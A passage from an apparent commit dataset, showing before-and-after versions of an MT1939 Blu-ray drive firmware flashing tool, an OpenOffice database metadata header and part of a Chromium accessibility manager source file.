return 1;\n }\n\n return 0;\n}\n<commit_msg>Remove pre-flash delay<commit_after>\/*\n * Firmware flashing tool for Blu-Ray drives using the Mediatek MT1939 chip.\n * Copyright (c) 2014 Micah Elizabeth Scott\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <algorithm>\n#include \"mt1939.h\"\n\nint main(int argc, char** argv)\n{\n TinySCSI scsi;\n MT1939::DeviceInfo info; \n MT1939::FirmwareImage fw;\n\n if (!MT1939::open(scsi)) {\n return 1;\n }\n\n if (!MT1939::deviceInfo(scsi, &info)) {\n return 1;\n }\n info.print();\n\n \/\/ Various usage formats...\n\n if (argc == 1) {\n return 0;\n\n } else if (argc == 2 && !strcmp(\"--erase\", argv[1])) {\n fw.erase();\n\n } else if (argc >= 3 && !strcmp(\"--scsi\", argv[1])) {\n\n uint8_t cdb[12];\n const char *dumpfile = \"result.log\";\n static uint8_t data[1024*1024*128];\n unsigned len = std::min<unsigned>(strtol(argv[2], 0, 16), sizeof data - 1);\n\n memset(cdb, 0, sizeof cdb);\n for (int i = 0; i < sizeof cdb; i++) {\n const char *arg = argv[3+i];\n if (!arg) {\n break;\n }\n cdb[i] = strtol(arg, 0, 16);\n }\n\n fprintf(stderr, \"\\nCDB:\\n\");\n hexdump(cdb, sizeof cdb);\n if (scsi.in(cdb, sizeof cdb, data, len)) {\n fprintf(stderr, \"\\nData returned:\\n\");\n hexdump(data, len);\n\n if (len) {\n FILE *f = fopen(dumpfile, \"wb\");\n if (f && fwrite(data, len, 1, f) == 1) {\n fprintf(stderr, \"Saved %d bytes to %s\\n\", len, dumpfile);\n fclose(f);\n }\n }\n }\n return 0;\n\n } else if (argc == 2 && fw.open(argv[1])) {\n fprintf(stderr, \"Firmware image loaded from disk\\n\");\n\n } else {\n fprintf(stderr,\n \"\\n\"\n \"usage:\\n\"\n \" mtflash Shows device version info, changes nothing\\n\"\n \" mtflash fw.bin Program a 2MB raw firmware image file.\\n\"\n \" The first 64 kiB is locked and can't be programmed,\\n\"\n \" so these bytes in the image are ignored.\\n\"\n \" mtflash --erase Send an image of all 0xFFs, erasing the unlocked\\n\"\n \" portions of flash.\\n\"\n \" mtflash --scsi Send a low level SCSI command.\\n\"\n \"\\n\"\n \"scsi examples:\\n\"\n \" mtflash --scsi 60 12 00 00 00 60 Long inquiry command\\n\"\n \" mtflash --scsi 8 ff 00 ff Firmware version\\n\"\n \" mtflash --scsi 2 ff 00 05 Read appselect bit0\\n\"\n \" mtflash --scsi 0 ff 00 04 00 00 01 Set appselect bit0\\n\"\n \" mtflash --scsi 0 ff 00 04 00 00 00 Clear appselect bit0\\n\"\n \" mtflash --scsi ffff 3c 6 0 0 0 0 0 ff ff Read first 64k of DRAM\\n\"\n );\n return 1;\n }\n\n fw.print();\n\n if (!MT1939::writeFirmware(scsi, &fw)) {\n return 1;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: FDatabaseMetaDataResultSetMetaData.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 06:37:17 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n#define _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATA_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n#ifndef _VECTOR_\n#include <vector>\n#endif\n#ifndef _CONNECTIVITY_FDATABASEMETADATARESULTSET_HXX_\n#include \"FDatabaseMetaDataResultSet.hxx\"\n#endif\n#ifndef _CONNECTIVITY_COLUMN_HXX_\n#include \"OColumn.hxx\"\n#endif\n#ifndef CONNECTIVITY_STDTYPEDEFS_HXX\n#include \"connectivity\/StdTypeDefs.hxx\"\n#endif\n\nnamespace connectivity\n{\n \/\/**************************************************************\n \/\/************ Class: ODatabaseMetaDataResultSetMetaData\n \/\/**************************************************************\n typedef ::cppu::WeakImplHelper1< ::com::sun::star::sdbc::XResultSetMetaData> ODatabaseMetaResultSetMetaData_BASE;\n\n class ODatabaseMetaDataResultSetMetaData : public ODatabaseMetaResultSetMetaData_BASE\n {\n TIntVector m_vMapping; \/\/ when not every column is needed\n ::std::map<sal_Int32,connectivity::OColumn> m_mColumns;\n ::std::map<sal_Int32,connectivity::OColumn>::const_iterator m_mColumnsIter;\n\n sal_Int32 m_nColCount;\n protected:\n virtual ~ODatabaseMetaDataResultSetMetaData();\n public:\n \/\/ ein Konstruktor, der fuer das Returnen des Objektes benoetigt wird:\n ODatabaseMetaDataResultSetMetaData( )\n : m_nColCount(0)\n {\n }\n \/\/\/ Avoid ambigous cast error from the compiler.\n inline operator ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XResultSetMetaData > () throw()\n { return this; }\n\n virtual sal_Int32 SAL_CALL getColumnCount( ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isAutoIncrement( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCaseSensitive( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSearchable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCurrency( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL isNullable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSigned( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnDisplaySize( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnLabel( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getSchemaName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getPrecision( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getScale( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getTableName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getCatalogName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnType( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnTypeName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isReadOnly( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isDefinitelyWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnServiceName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n\n \/\/ methods to set the right column mapping\n void setColumnPrivilegesMap();\n void setColumnsMap();\n void setTablesMap();\n void setProcedureColumnsMap();\n void setPrimaryKeysMap();\n void setIndexInfoMap();\n void setTablePrivilegesMap();\n void setCrossReferenceMap();\n void setTypeInfoMap();\n void setProceduresMap();\n void setTableTypes();\n void setBestRowIdentifierMap() { setVersionColumnsMap();}\n void setVersionColumnsMap();\n void setExportedKeysMap() { setCrossReferenceMap(); }\n void setImportedKeysMap() { setCrossReferenceMap(); }\n void setCatalogsMap();\n void setSchemasMap();\n };\n}\n#endif \/\/ _CONNECTIVITY_FILE_ADATABASEMETARESULTSETMETADATA_HXX_\n\n\n<commit_msg>INTEGRATION: CWS oj14 (1.5.26); FILE MERGED 2006\/11\/08 08:00:58 oj 1.5.26.1: add missing methods<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: FDatabaseMetaDataResultSetMetaData.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: rt $ $Date: 2007-07-06 06:48:34 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n#define _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATA_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hpp>\n#endif\n#ifndef _CPPUHELPER_IMPLBASE1_HXX_\n#include <cppuhelper\/implbase1.hxx>\n#endif\n#ifndef _VECTOR_\n#include <vector>\n#endif\n#ifndef _CONNECTIVITY_FDATABASEMETADATARESULTSET_HXX_\n#include \"FDatabaseMetaDataResultSet.hxx\"\n#endif\n#ifndef _CONNECTIVITY_COLUMN_HXX_\n#include \"OColumn.hxx\"\n#endif\n#ifndef CONNECTIVITY_STDTYPEDEFS_HXX\n#include \"connectivity\/StdTypeDefs.hxx\"\n#endif\n\nnamespace connectivity\n{\n \/\/**************************************************************\n \/\/************ Class: ODatabaseMetaDataResultSetMetaData\n \/\/**************************************************************\n typedef ::cppu::WeakImplHelper1< ::com::sun::star::sdbc::XResultSetMetaData> ODatabaseMetaResultSetMetaData_BASE;\n\n class ODatabaseMetaDataResultSetMetaData : public ODatabaseMetaResultSetMetaData_BASE\n {\n TIntVector m_vMapping; \/\/ when not every column is needed\n ::std::map<sal_Int32,connectivity::OColumn> m_mColumns;\n ::std::map<sal_Int32,connectivity::OColumn>::const_iterator m_mColumnsIter;\n\n sal_Int32 m_nColCount;\n protected:\n virtual ~ODatabaseMetaDataResultSetMetaData();\n public:\n \/\/ ein Konstruktor, der fuer das Returnen des Objektes benoetigt wird:\n ODatabaseMetaDataResultSetMetaData( )\n : m_nColCount(0)\n {\n }\n \/\/\/ Avoid ambigous cast error from the compiler.\n inline operator ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XResultSetMetaData > () throw()\n { return this; }\n\n virtual sal_Int32 SAL_CALL getColumnCount( ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isAutoIncrement( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCaseSensitive( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSearchable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCurrency( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL isNullable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSigned( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnDisplaySize( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnLabel( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getSchemaName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getPrecision( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getScale( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getTableName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getCatalogName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnType( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnTypeName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isReadOnly( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isDefinitelyWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnServiceName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n\n \/\/ methods to set the right column mapping\n void setColumnPrivilegesMap();\n void setColumnMap();\n void setColumnsMap();\n void setTableNameMap();\n void setTablesMap();\n void setProcedureColumnsMap();\n void setPrimaryKeysMap();\n void setIndexInfoMap();\n void setTablePrivilegesMap();\n void setCrossReferenceMap();\n void setTypeInfoMap();\n void setProcedureNameMap();\n void setProceduresMap();\n void setTableTypes();\n void setBestRowIdentifierMap() { setVersionColumnsMap();}\n void setVersionColumnsMap();\n void setExportedKeysMap() { setCrossReferenceMap(); }\n void setImportedKeysMap() { setCrossReferenceMap(); }\n void setCatalogsMap();\n void setSchemasMap();\n };\n}\n#endif \/\/ _CONNECTIVITY_FILE_ADATABASEMETARESULTSETMETADATA_HXX_\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/accessibility\/browser_accessibility_manager.h\"\n\n#include \"base\/logging.h\"\n#include \"content\/browser\/accessibility\/browser_accessibility.h\"\n#include \"content\/common\/accessibility_messages.h\"\n\nusing webkit_glue::WebAccessibility;\n\nBrowserAccessibility* BrowserAccessibilityFactory::Create() {\n return BrowserAccessibility::Create();\n}\n\n\/\/ Start child IDs at -1 and decrement each time, because clients use\n\/\/ child IDs of 1, 2, 3, ... to access the children of an object by\n\/\/ index, so we use negative IDs to clearly distinguish between indices\n\/\/ and unique IDs.\n\/\/ static\nint32 BrowserAccessibilityManager::next_child_id_ = -1;\n\n#if (defined(OS_POSIX) && !defined(OS_MACOSX)) || defined(USE_AURA)\n\/\/ There's no OS-specific implementation of BrowserAccessibilityManager\n\/\/ on Unix, so just instantiate the base class.\n\/\/ static\nBrowserAccessibilityManager* BrowserAccessibilityManager::Create(\n gfx::NativeView parent_view,\n const WebAccessibility& src,\n BrowserAccessibilityDelegate* delegate,\n BrowserAccessibilityFactory* factory) {\n return new BrowserAccessibilityManager(\n parent_view, src, delegate, factory);\n}\n#endif\n\n\/\/ static\nBrowserAccessibilityManager* BrowserAccessibilityManager::CreateEmptyDocument(\n gfx::NativeView parent_view,\n WebAccessibility::State state,\n BrowserAccessibilityDelegate* delegate,\n BrowserAccessibilityFactory* factory) {\n \/\/ Use empty document to process notifications\n webkit_glue::WebAccessibility empty_document;\n empty_document.id = 0;\n empty_document.role = WebAccessibility::ROLE_ROOT_WEB_AREA;\n empty_document.state = state;\n return BrowserAccessibilityManager::Create(\n parent_view, empty_document, delegate, factory);\n}\n\nBrowserAccessibilityManager::BrowserAccessibilityManager(\n gfx::NativeView parent_view,\n const WebAccessibility& src,\n BrowserAccessibilityDelegate* delegate,\n BrowserAccessibilityFactory* factory)\n : parent_view_(parent_view),\n delegate_(delegate),\n factory_(factory),\n focus_(NULL) {\n root_ = CreateAccessibilityTree(NULL, src, 0, false);\n if (!focus_)\n SetFocus(root_, false);\n}\n\n\/\/ static\nint32 BrowserAccessibilityManager::GetNextChildID() {\n \/\/ Get the next child ID, and wrap around when we get near the end\n \/\/ of a 32-bit integer range. It's okay to wrap around; we just want\n \/\/ to avoid it as long as possible because clients may cache the ID of\n \/\/ an object for a while to determine if they've seen it before.\n next_child_id_--;\n if (next_child_id_ == -2000000000)\n next_child_id_ = -1;\n\n return next_child_id_;\n}\n\nBrowserAccessibilityManager::~BrowserAccessibilityManager() {\n \/\/ Clients could still hold references to some nodes of the tree, so\n \/\/ calling InternalReleaseReference will make sure that as many nodes\n \/\/ as possible are released now, and remaining nodes are marked as\n \/\/ inactive so that calls to any methods on them will fail gracefully.\n focus_->InternalReleaseReference(false);\n root_->InternalReleaseReference(true);\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetRoot() {\n return root_;\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetFromChildID(\n int32 child_id) {\n base::hash_map<int32, BrowserAccessibility*>::iterator iter =\n child_id_map_.find(child_id);\n if (iter != child_id_map_.end()) {\n return iter->second;\n } else {\n return NULL;\n }\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetFromRendererID(\n int32 renderer_id) {\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(renderer_id);\n if (iter == renderer_id_to_child_id_map_.end())\n return NULL;\n\n int32 child_id = iter->second;\n return GetFromChildID(child_id);\n}\n\nvoid BrowserAccessibilityManager::GotFocus() {\n if (!focus_)\n return;\n\n NotifyAccessibilityEvent(AccessibilityNotificationFocusChanged, focus_);\n}\n\nvoid BrowserAccessibilityManager::Remove(int32 child_id, int32 renderer_id) {\n child_id_map_.erase(child_id);\n\n \/\/ TODO(ctguil): Investigate if hit. We should never have a newer entry.\n DCHECK(renderer_id_to_child_id_map_[renderer_id] == child_id);\n \/\/ Make sure we don't overwrite a newer entry (see UpdateNode for a possible\n \/\/ corner case).\n if (renderer_id_to_child_id_map_[renderer_id] == child_id)\n renderer_id_to_child_id_map_.erase(renderer_id);\n}\n\nvoid BrowserAccessibilityManager::OnAccessibilityNotifications(\n const std::vector<AccessibilityHostMsg_NotificationParams>& params) {\n for (uint32 index = 0; index < params.size(); index++) {\n const AccessibilityHostMsg_NotificationParams& param = params[index];\n\n \/\/ Update the tree.\n UpdateNode(param.acc_tree, param.includes_children);\n\n \/\/ Find the node corresponding to the id that's the target of the\n \/\/ notification (which may not be the root of the update tree).\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(param.id);\n if (iter == renderer_id_to_child_id_map_.end()) {\n continue;\n }\n int32 child_id = iter->second;\n BrowserAccessibility* node = GetFromChildID(child_id);\n if (!node) {\n NOTREACHED();\n continue;\n }\n\n int notification_type = param.notification_type;\n if (notification_type == AccessibilityNotificationFocusChanged) {\n SetFocus(node, false);\n\n \/\/ Don't send a native focus event if the window itself doesn't\n \/\/ have focus.\n if (delegate_ && !delegate_->HasFocus())\n continue;\n }\n\n \/\/ Send the notification event to the operating system.\n NotifyAccessibilityEvent(notification_type, node);\n\n \/\/ Set initial focus when a page is loaded.\n if (notification_type == AccessibilityNotificationLoadComplete) {\n if (!focus_)\n SetFocus(root_, false);\n if (!delegate_ || delegate_->HasFocus())\n NotifyAccessibilityEvent(AccessibilityNotificationFocusChanged, focus_);\n }\n }\n}\n\ngfx::NativeView BrowserAccessibilityManager::GetParentView() {\n return parent_view_;\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::GetFocus(\n BrowserAccessibility* root) {\n if (focus_ && (!root || focus_->IsDescendantOf(root)))\n return focus_;\n\n return NULL;\n}\n\nvoid BrowserAccessibilityManager::SetFocus(\n BrowserAccessibility* node, bool notify) {\n if (focus_ != node) {\n if (focus_)\n focus_->InternalReleaseReference(false);\n focus_ = node;\n if (focus_)\n focus_->InternalAddReference();\n }\n\n if (notify && node && delegate_)\n delegate_->SetAccessibilityFocus(node->renderer_id());\n}\n\nvoid BrowserAccessibilityManager::DoDefaultAction(\n const BrowserAccessibility& node) {\n if (delegate_)\n delegate_->AccessibilityDoDefaultAction(node.renderer_id());\n}\n\nvoid BrowserAccessibilityManager::ScrollToMakeVisible(\n const BrowserAccessibility& node, gfx::Rect subfocus) {\n if (delegate_) {\n delegate_->AccessibilityScrollToMakeVisible(node.renderer_id(), subfocus);\n }\n}\n\nvoid BrowserAccessibilityManager::ScrollToPoint(\n const BrowserAccessibility& node, gfx::Point point) {\n if (delegate_) {\n delegate_->AccessibilityScrollToPoint(node.renderer_id(), point);\n }\n}\n\nvoid BrowserAccessibilityManager::SetTextSelection(\n const BrowserAccessibility& node, int start_offset, int end_offset) {\n if (delegate_) {\n delegate_->AccessibilitySetTextSelection(\n node.renderer_id(), start_offset, end_offset);\n }\n}\n\ngfx::Rect BrowserAccessibilityManager::GetViewBounds() {\n if (delegate_)\n return delegate_->GetViewBounds();\n return gfx::Rect();\n}\n\nvoid BrowserAccessibilityManager::UpdateNode(\n const WebAccessibility& src,\n bool include_children) {\n BrowserAccessibility* current = NULL;\n\n \/\/ Look for the node to replace. Either we're replacing the whole tree\n \/\/ (role is ROOT_WEB_AREA) or we look it up based on its renderer ID.\n if (src.role == WebAccessibility::ROLE_ROOT_WEB_AREA) {\n current = root_;\n } else {\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(src.id);\n if (iter != renderer_id_to_child_id_map_.end()) {\n int32 child_id = iter->second;\n current = GetFromChildID(child_id);\n }\n }\n\n \/\/ If we can't find the node to replace, we're out of sync with the\n \/\/ renderer (this would be a bug).\n DCHECK(current);\n if (!current)\n return;\n\n \/\/ If this update is just for a single node (|include_children| is false),\n \/\/ modify |current| directly and return - no tree changes are needed.\n if (!include_children) {\n DCHECK_EQ(0U, src.children.size());\n current->PreInitialize(\n this,\n current->parent(),\n current->child_id(),\n current->index_in_parent(),\n src);\n current->PostInitialize();\n return;\n }\n\n BrowserAccessibility* current_parent = current->parent();\n int current_index_in_parent = current->index_in_parent();\n\n \/\/ Detach all of the nodes in the old tree and get a single flat vector\n \/\/ of all node pointers.\n std::vector<BrowserAccessibility*> old_tree_nodes;\n current->DetachTree(&old_tree_nodes);\n\n \/\/ Build a new tree, reusing old nodes if possible. Each node that's\n \/\/ reused will have its reference count incremented by one.\n current = CreateAccessibilityTree(\n current_parent, src, current_index_in_parent, true);\n\n \/\/ Decrement the reference count of all nodes in the old tree, which will\n \/\/ delete any nodes no longer needed.\n for (int i = 0; i < static_cast<int>(old_tree_nodes.size()); i++)\n old_tree_nodes[i]->InternalReleaseReference(false);\n\n \/\/ If the only reference to the focused node is focus_ itself, then the\n \/\/ focused node is no longer in the tree, so set the focus to the root.\n if (focus_ && focus_->ref_count() == 1) {\n SetFocus(root_, false);\n\n if (delegate_ && delegate_->HasFocus())\n NotifyAccessibilityEvent(AccessibilityNotificationBlur, focus_);\n }\n}\n\nBrowserAccessibility* BrowserAccessibilityManager::CreateAccessibilityTree(\n BrowserAccessibility* parent,\n const WebAccessibility& src,\n int index_in_parent,\n bool send_show_events) {\n BrowserAccessibility* instance = NULL;\n int32 child_id = 0;\n bool children_can_send_show_events = send_show_events;\n base::hash_map<int32, int32>::iterator iter =\n renderer_id_to_child_id_map_.find(src.id);\n\n \/\/ If a BrowserAccessibility instance for this ID already exists, add a\n \/\/ new reference to it and retrieve its children vector.\n if (iter != renderer_id_to_child_id_map_.end()) {\n child_id = iter->second;\n instance = GetFromChildID(child_id);\n }\n\n \/\/ If the node has changed roles, don't reuse a BrowserAccessibility\n \/\/ object, that could confuse a screen reader.\n \/\/ TODO(dtseng): Investigate when this gets hit; See crbug.com\/93095.\n DCHECK(!instance || instance->role() == src.role);\n\n \/\/ If we're reusing a node, it should already be detached from a parent\n \/\/ and any children. If not, that means we have a serious bug somewhere,\n \/\/ like the same child is reachable from two places in the same tree.\n if (instance && (instance->parent() != NULL || instance->child_count() > 0)) {\n NOTREACHED();\n instance = NULL;\n }\n\n if (instance) {\n \/\/ If we're reusing a node, update its parent and increment its\n \/\/ reference count.\n instance->UpdateParent(parent, index_in_parent);\n instance->InternalAddReference();\n send_show_events = false;\n } else {\n \/\/ Otherwise, create a new instance.\n instance = factory_->Create();\n child_id = GetNextChildID();\n children_can_send_show_events = false;\n }\n\n instance->PreInitialize(this, parent, child_id, index_in_parent, src);\n child_id_map_[child_id] = instance;\n renderer_id_to_child_id_map_[src.id] = child_id;\n\n if ((src.state >> WebAccessibility::STATE_FOCUSED) & 1)\n SetFocus(instance, false);\n\n for (int i = 0; i < static_cast<int>(src.children.size()); ++i) {\n BrowserAccessibility* child = CreateAccessibilityTree(\n instance, src.children[i], i, children_can_send_show_events);\n instance->AddChild(child);\n }\n\n if (src.role == WebAccessibility::ROLE_ROOT_WEB_AREA)\n root_ = instance;\n\n \/\/ Note: the purpose of send_show_events and children_can_send_show_events\n \/\/ is so that we send a single ObjectShow event for the root of a subtree\n \/\/ that just appeared for the first time, but not on any descendant of\n \/\/ that subtree.\n if (send_show_events)\n NotifyAccessibilityEvent(AccessibilityNotificationObjectShow, instance);\n\n instance->PostInitialize();\n\n return instance;\n}\n<commit_msg>The browser accessibility manager should transition focus away on receiving the AccessibilityNotificationBlur event.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/accessibility\/browser_accessibility_manager.h\"\n\n#include \"base\/logging.h\"\n#include \"content\/browser\/accessibility\/browser_accessibility.h\"\n#include \"content\/common\/accessibility_messages.h\"\n\nusing webkit_glue::WebAccessibility;\n\nBrowserAccessibility* BrowserAccessibilityFactory::Create() {\n return BrowserAccessibility::Create();\n}\n\n\/\/ Start child IDs at -1 and decrement each time, because clients use\n\/\/ child IDs of 1, 2, 3, ... to access the children of an object 